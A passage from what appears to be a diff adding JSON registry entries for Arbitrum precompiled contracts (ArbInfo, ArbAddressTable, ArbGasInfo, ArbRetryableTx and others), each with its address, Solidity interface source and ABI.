"function\"},{\"inputs\":[],\"name\":\"getStorageGasAvailable\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"isTopLevelCall\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"unused\",\"type\":\"address\"}],\"name\":\"mapL1SenderContractAddressToL2Alias\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"myCallersAddressWithoutAliasing\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"sendMerkleTreeState\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"size\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"root\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32[]\",\"name\":\"partials\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"destination\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"sendTxToL1\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"wasMyCallersAddressAliased\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"destination\",\"type\":\"address\"}],\"name\":\"withdrawEth\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"payable\",\"type\":\"function\"}]\n" + }, + { + "address": "0x0000000000000000000000000000000000000065", + "name": "ArbInfo", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/// @title Lookup for basic info about accounts and contracts.\n/// @notice Precompiled contract that exists in every Arbitrum chain at 0x0000000000000000000000000000000000000065.\ninterface ArbInfo {\n /// @notice Retrieves an account's balance\n function getBalance(address account) external view returns (uint256);\n\n /// @notice Retrieves a contract's deployed code\n function getCode(address account) external view returns (bytes memory);\n}\n", + "abi": "[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"getBalance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"getCode\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]\n" + }, + { + "address": "0x0000000000000000000000000000000000000066", + "name": "ArbAddressTable", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/**\n * @title Allows registering / retrieving addresses at uint indices, saving calldata.\n * @notice Precompiled contract that exists in every Arbitrum chain at 0x0000000000000000000000000000000000000066.\n */\ninterface ArbAddressTable {\n /**\n * @notice Check whether an address exists in the address table\n * @param addr address to check for presence in table\n * @return true if address is in table\n */\n function addressExists(address addr) external view returns (bool);\n\n /**\n * @notice compress an address and return the result\n * @param addr address to compress\n * @return compressed address bytes\n */\n function compress(address addr) external returns (bytes memory);\n\n /**\n * @notice read a compressed address from a bytes buffer\n * @param buf bytes buffer containing an address\n * @param offset offset of target address\n * @return resulting address and updated offset into the buffer (revert if buffer is too short)\n */\n function decompress(bytes calldata buf, uint256 offset)\n external\n view\n returns (address, uint256);\n\n /**\n * @param addr address to lookup\n * @return index of an address in the address table (revert if address isn't in the table)\n */\n function lookup(address addr) external view returns (uint256);\n\n /**\n * @param index index to lookup address\n * @return address at a given index in address table (revert if index is beyond end of table)\n */\n function lookupIndex(uint256 index) external view returns (address);\n\n /**\n * @notice Register an address in the address table\n * @param addr address to register\n * @return index of the address (existing index, or newly created index if not already registered)\n */\n function register(address addr) external returns (uint256);\n\n /**\n * @return size of address table (= first unused index)\n */\n function size() external view returns (uint256);\n}\n", + "abi": "[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"name\":\"addressExists\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"name\":\"compress\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"buf\",\"type\":\"bytes\"},{\"internalType\":\"uint256\",\"name\":\"offset\",\"type\":\"uint256\"}],\"name\":\"decompress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"name\":\"lookup\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"index\",\"type\":\"uint256\"}],\"name\":\"lookupIndex\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"name\":\"register\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"size\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]\n" + }, + { + "address": "0x0000000000000000000000000000000000000067", + "name": "ArbBLS", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/// @title Disabled precompile, formerly used to register BLS public keys.\n/// @notice Precompiled contract that exists in every Arbitrum chain at 0x0000000000000000000000000000000000000067.\ninterface ArbBLS {\n\n}\n", + "abi": "[]\n" + }, + { + "address": "0x0000000000000000000000000000000000000068", + "name": "ArbFunctionTable", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/// @title Deprecated - Provided aggregator's the ability to manage function tables,\n// this enables one form of transaction compression.\n/// @notice The Nitro aggregator implementation does not use these,\n// so these methods have been stubbed and their effects disabled.\n/// They are kept for backwards compatibility.\n/// Precompiled contract that exists in every Arbitrum chain at 0x0000000000000000000000000000000000000068.\ninterface ArbFunctionTable {\n /// @notice Reverts since the table is empty\n function upload(bytes calldata buf) external;\n\n /// @notice Returns the empty table's size, which is 0\n function size(address addr) external view returns (uint256);\n\n /// @notice No-op\n function get(address addr, uint256 index)\n external\n view\n returns (\n uint256,\n bool,\n uint256\n );\n}\n", + "abi": "[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"index\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"name\":\"size\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"buf\",\"type\":\"bytes\"}],\"name\":\"upload\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]\n" + }, + { + "address": "0x0000000000000000000000000000000000000069", + "name": "ArbosTest", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/// @title Deprecated - Provides a method of burning arbitrary amounts of gas,\n/// @notice This exists for historical reasons. Pre-Nitro, `ArbosTest` had additional methods only the zero address could call.\n/// These have been removed since users don't use them and calls to missing methods revert.\n/// Precompiled contract that exists in every Arbitrum chain at 0x0000000000000000000000000000000000000069.\ninterface ArbosTest {\n /// @notice Unproductively burns the amount of L2 ArbGas\n function burnArbGas(uint256 gasAmount) external pure;\n}\n", + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"gasAmount\",\"type\":\"uint256\"}],\"name\":\"burnArbGas\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"}]\n" + }, + { + "address": "0x000000000000000000000000000000000000006b", + "name": "ArbOwnerPublic", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/// @title Provides non-owners with info about the current chain owners.\n/// @notice Precompiled contract that exists in every Arbitrum chain at 0x000000000000000000000000000000000000006b.\ninterface ArbOwnerPublic {\n /// @notice See if the user is a chain owner\n function isChainOwner(address addr) external view returns (bool);\n\n /**\n * @notice Rectify the list of chain owners\n * If successful, emits ChainOwnerRectified event\n * Available in ArbOS version 11\n */\n function rectifyChainOwner(address ownerToRectify) external;\n\n /// @notice Retrieves the list of chain owners\n function getAllChainOwners() external view returns (address[] memory);\n\n /// @notice Gets the network fee collector\n function getNetworkFeeAccount() external view returns (address);\n\n /// @notice Get the infrastructure fee collector\n function getInfraFeeAccount() external view returns (address);\n\n /// @notice Get the Brotli compression level used for fast compression\n function getBrotliCompressionLevel() external view returns (uint64);\n\n /// @notice Get the next scheduled ArbOS version upgrade and its activation timestamp.\n /// Returns (0, 0) if no ArbOS upgrade is scheduled.\n /// Available in ArbOS version 20.\n function getScheduledUpgrade()\n external\n view\n returns (uint64 arbosVersion, uint64 scheduledForTimestamp);\n\n event ChainOwnerRectified(address rectifiedOwner);\n}\n", + "abi": "[{\"inputs\":[],\"name\":\"getAllChainOwners\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getInfraFeeAccount\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNetworkFeeAccount\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"name\":\"isChainOwner\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]\n" + }, + { + "address": "0x000000000000000000000000000000000000006c", + "name": "ArbGasInfo", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/// @title Provides insight into the cost of using the chain.\n/// @notice These methods have been adjusted to account for Nitro's heavy use of calldata compression.\n/// Of note to end-users, we no longer make a distinction between non-zero and zero-valued calldata bytes.\n/// Precompiled contract that exists in every Arbitrum chain at 0x000000000000000000000000000000000000006c.\ninterface ArbGasInfo {\n /// @notice Get gas prices for a provided aggregator\n /// @return return gas prices in wei\n /// (\n /// per L2 tx,\n /// per L1 calldata byte\n /// per storage allocation,\n /// per ArbGas base,\n /// per ArbGas congestion,\n /// per ArbGas total\n /// )\n function getPricesInWeiWithAggregator(address aggregator)\n external\n view\n returns (\n uint256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n );\n\n /// @notice Get gas prices. Uses the caller's preferred aggregator, or the default if the caller doesn't have a preferred one.\n /// @return return gas prices in wei\n /// (\n /// per L2 tx,\n /// per L1 calldata byte\n /// per storage allocation,\n /// per ArbGas base,\n /// per ArbGas congestion,\n /// per ArbGas total\n /// )\n function getPricesInWei()\n external\n view\n returns (\n uint256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n );\n\n /// @notice Get prices in ArbGas for the supplied aggregator\n /// @return (per L2 tx, per L1 calldata byte, per storage allocation)\n function getPricesInArbGasWithAggregator(address aggregator)\n external\n view\n returns (\n uint256,\n uint256,\n uint256\n );\n\n /// @notice Get prices in ArbGas. Assumes the callers preferred validator, or the default if caller doesn't have a preferred one.\n /// @return (per L2 tx, per L1 calldata byte, per storage allocation)\n function getPricesInArbGas()\n external\n view\n returns (\n uint256,\n uint256,\n uint256\n );\n\n /// @notice Get the gas accounting parameters. `gasPoolMax` is always zero, as the exponential pricing model has no such notion.\n /// @return (speedLimitPerSecond, gasPoolMax, maxTxGasLimit)\n function getGasAccountingParams()\n external\n view\n returns (\n uint256,\n uint256,\n uint256\n );\n\n /// @notice Get the minimum gas price needed for a tx to succeed\n function getMinimumGasPrice() external view returns (uint256);\n\n /// @notice Get ArbOS's estimate of the L1 basefee in wei\n function getL1BaseFeeEstimate() external view returns (uint256);\n\n /// @notice Get how slowly ArbOS updates its estimate of the L1 basefee\n function getL1BaseFeeEstimateInertia() external view returns (uint64);\n\n /// @notice Get the L1 pricer reward rate, in wei per unit\n /// Available in ArbOS version 11\n function getL1RewardRate() external view returns (uint64);\n\n /// @notice Get the L1 pricer reward recipient\n /// Available in ArbOS version 11\n function getL1RewardRecipient() external view returns (address);\n\n /// @notice Deprecated -- Same as getL1BaseFeeEstimate()\n function getL1GasPriceEstimate() external view returns (uint256);\n\n /// @notice Get L1 gas fees paid by the current transaction\n function getCurrentTxL1GasFees() external view returns (uint256);\n\n /// @notice Get the backlogged amount of gas burnt in excess of the speed limit\n function getGasBacklog() external view returns (uint64);\n\n /// @notice Get how slowly ArbOS updates the L2 basefee in response to backlogged gas\n function getPricingInertia() external view returns (uint64);\n\n /// @notice Get the forgivable amount of backlogged gas ArbOS will ignore when raising the basefee\n function getGasBacklogTolerance() external view returns (uint64);\n\n /// @notice Returns the surplus of funds for L1 batch posting payments (may be negative).\n function getL1PricingSurplus() external view returns (int256);\n\n /// @notice Returns the base charge (in L1 gas) attributed to each data batch in the calldata pricer\n function getPerBatchGasCharge() external view returns (int64);\n\n /// @notice Returns the cost amortization cap in basis points\n function getAmortizedCostCapBips() external view returns (uint64);\n\n /// @notice Returns the available funds from L1 fees\n function getL1FeesAvailable() external view returns (uint256);\n\n /// @notice Returns the equilibration units parameter for L1 price adjustment algorithm\n /// Available in ArbOS version 20\n function getL1PricingEquilibrationUnits() external view returns (uint256);\n\n /// @notice Returns the last time the L1 calldata pricer was updated.\n /// Available in ArbOS version 20\n function getLastL1PricingUpdateTime() external view returns (uint64);\n\n /// @notice Returns the amount of L1 calldata payments due for rewards (per the L1 reward rate)\n /// Available in ArbOS version 20\n function getL1PricingFundsDueForRewards() external view returns (uint256);\n\n /// @notice Returns the amount of L1 calldata posted since the last update.\n /// Available in ArbOS version 20\n function getL1PricingUnitsSinceUpdate() external view returns (uint64);\n\n /// @notice Returns the L1 pricing surplus as of the last update (may be negative).\n /// Available in ArbOS version 20\n function getLastL1PricingSurplus() external view returns (int256);\n}\n", + "abi": "[{\"inputs\":[],\"name\":\"getAmortizedCostCapBips\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"\",\"type\":\"uint64\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getCurrentTxL1GasFees\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getGasAccountingParams\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getGasBacklog\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"\",\"type\":\"uint64\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getGasBacklogTolerance\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"\",\"type\":\"uint64\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getL1BaseFeeEstimate\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getL1BaseFeeEstimateInertia\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"\",\"type\":\"uint64\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getL1FeesAvailable\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getL1GasPriceEstimate\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getL1PricingSurplus\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getMinimumGasPrice\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getPerBatchGasCharge\",\"outputs\":[{\"internalType\":\"int64\",\"name\":\"\",\"type\":\"int64\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getPricesInArbGas\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"aggregator\",\"type\":\"address\"}],\"name\":\"getPricesInArbGasWithAggregator\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getPricesInWei\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"aggregator\",\"type\":\"address\"}],\"name\":\"getPricesInWeiWithAggregator\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getPricingInertia\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"\",\"type\":\"uint64\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]\n" + }, + { + "address": "0x000000000000000000000000000000000000006d", + "name": "ArbAggregator", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/// @title Provides aggregators and their users methods for configuring how they participate in L1 aggregation.\n/// @notice Precompiled contract that exists in every Arbitrum chain at 0x000000000000000000000000000000000000006d\ninterface ArbAggregator {\n /// @notice Deprecated, customization of preferred aggregator is no longer supported\n /// @notice Get the address of an arbitrarily chosen batch poster.\n /// @param addr ignored\n /// @return (batchPosterAddress, true)\n function getPreferredAggregator(address addr) external view returns (address, bool);\n\n /// @notice Deprecated, there is no longer a single preferred aggregator, use getBatchPosters instead\n /// @notice Get default aggregator.\n function getDefaultAggregator() external view returns (address);\n\n /// @notice Get a list of all current batch posters\n /// @return Batch poster addresses\n function getBatchPosters() external view returns (address[] memory);\n\n /// @notice Adds newBatchPoster as a batch poster\n /// This reverts unless called by a chain owner\n /// @param newBatchPoster New batch poster\n function addBatchPoster(address newBatchPoster) external;\n\n /// @notice Get the address where fees to batchPoster are sent.\n /// @param batchPoster The batch poster to get the fee collector for\n /// @return The fee collectors address. This will sometimes but not always be the same as the batch poster's address.\n function getFeeCollector(address batchPoster) external view returns (address);\n\n /// @notice Set the address where fees to batchPoster are sent.\n /// This reverts unless called by the batch poster, its fee collector, or a chain owner\n /// @param batchPoster The batch poster to set the fee collector for\n /// @param newFeeCollector The new fee collector to set\n function setFeeCollector(address batchPoster, address newFeeCollector) external;\n\n /// @notice Deprecated, always returns zero\n /// @notice Get the tx base fee (in approximate L1 gas) for aggregator\n /// @param aggregator The aggregator to get the base fee for\n function getTxBaseFee(address aggregator) external view returns (uint256);\n\n /// @notice Deprecated, is now a no-op\n /// @notice Set the tx base fee (in approximate L1 gas) for aggregator\n /// Revert unless called by aggregator or the chain owner\n /// Revert if feeInL1Gas is outside the chain's allowed bounds\n /// @param aggregator The aggregator to set the fee for\n /// @param feeInL1Gas The base fee in L1 gas\n function setTxBaseFee(address aggregator, uint256 feeInL1Gas) external;\n}\n", + "abi": "[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newBatchPoster\",\"type\":\"address\"}],\"name\":\"addBatchPoster\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getBatchPosters\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getDefaultAggregator\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"batchPoster\",\"type\":\"address\"}],\"name\":\"getFeeCollector\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"name\":\"getPreferredAggregator\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"aggregator\",\"type\":\"address\"}],\"name\":\"getTxBaseFee\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"batchPoster\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"newFeeCollector\",\"type\":\"address\"}],\"name\":\"setFeeCollector\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"aggregator\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"feeInL1Gas\",\"type\":\"uint256\"}],\"name\":\"setTxBaseFee\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]\n" + }, + { + "address": "0x000000000000000000000000000000000000006e", + "name": "ArbRetryableTx", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/**\n * @title Methods for managing retryables.\n * @notice Precompiled contract in every Arbitrum chain for retryable transaction related data retrieval and interactions. Exists at 0x000000000000000000000000000000000000006e\n */\ninterface ArbRetryableTx {\n /**\n * @notice Schedule an attempt to redeem a redeemable tx, donating all of the call's gas to the redeem.\n * Revert if ticketId does not exist.\n * @param ticketId unique identifier of retryable message: keccak256(keccak256(ArbchainId, inbox-sequence-number), uint(0) )\n * @return txId that the redeem attempt will have\n */\n function redeem(bytes32 ticketId) external returns (bytes32);\n\n /**\n * @notice Return the minimum lifetime of redeemable txn.\n * @return lifetime in seconds\n */\n function getLifetime() external view returns (uint256);\n\n /**\n * @notice Return the timestamp when ticketId will age out, reverting if it does not exist\n * @param ticketId unique ticket identifier\n * @return timestamp for ticket's deadline\n */\n function getTimeout(bytes32 ticketId) external view returns (uint256);\n\n /**\n * @notice Adds one lifetime period to the life of ticketId.\n * Donate gas to pay for the lifetime extension.\n * If successful, emits LifetimeExtended event.\n * Revert if ticketId does not exist, or if the timeout of ticketId is already at least one lifetime period in the future.\n * @param ticketId unique ticket identifier\n * @return new timeout of ticketId\n */\n function keepalive(bytes32 ticketId) external returns (uint256);\n\n /**\n * @notice Return the beneficiary of ticketId.\n * Revert if ticketId doesn't exist.\n * @param ticketId unique ticket identifier\n * @return address of beneficiary for ticket\n */\n function getBeneficiary(bytes32 ticketId) external view returns (address);\n\n /**\n * @notice Cancel ticketId and refund its callvalue to its beneficiary.\n * Revert if ticketId doesn't exist, or if called by anyone other than ticketId's beneficiary.\n * @param ticketId unique ticket identifier\n */\n function cancel(bytes32 ticketId) external;\n\n /**\n * @notice Gets the redeemer of the current retryable redeem attempt.\n * Returns the zero address if the current transaction is not a retryable redeem attempt.\n * If this is an auto-redeem, returns the fee refund address of the retryable.\n */\n function getCurrentRedeemer() external view returns (address);\n\n /**\n * @notice Do not call. This method represents a retryable submission to aid explorers.\n * Calling it will always revert.\n */\n function submitRetryable(\n bytes32 requestId,\n uint256 l1BaseFee,\n uint256 deposit,\n uint256 callvalue,\n uint256 gasFeeCap,\n uint64 gasLimit,\n uint256 maxSubmissionFee,\n address feeRefundAddress,\n address beneficiary,\n address retryTo,\n bytes calldata retryData\n ) external;\n\n event TicketCreated(bytes32 indexed ticketId);\n event LifetimeExtended(bytes32 indexed ticketId, uint256 newTimeout);\n event RedeemScheduled(\n bytes32 indexed ticketId,\n bytes32 indexed retryTxHash,\n uint64 indexed sequenceNum,\n uint64 donatedGas,\n address gasDonor,\n uint256 maxRefund,\n uint256 submissionFeeRefund\n );\n event Canceled(bytes32 indexed ticketId);\n\n /// @dev DEPRECATED in favour of new RedeemScheduled event after the nitro upgrade\n event Redeemed(bytes32 indexed userTxHash);\n\n error NoTicketWithID();\n error NotCallable();\n}\n", + "abi": 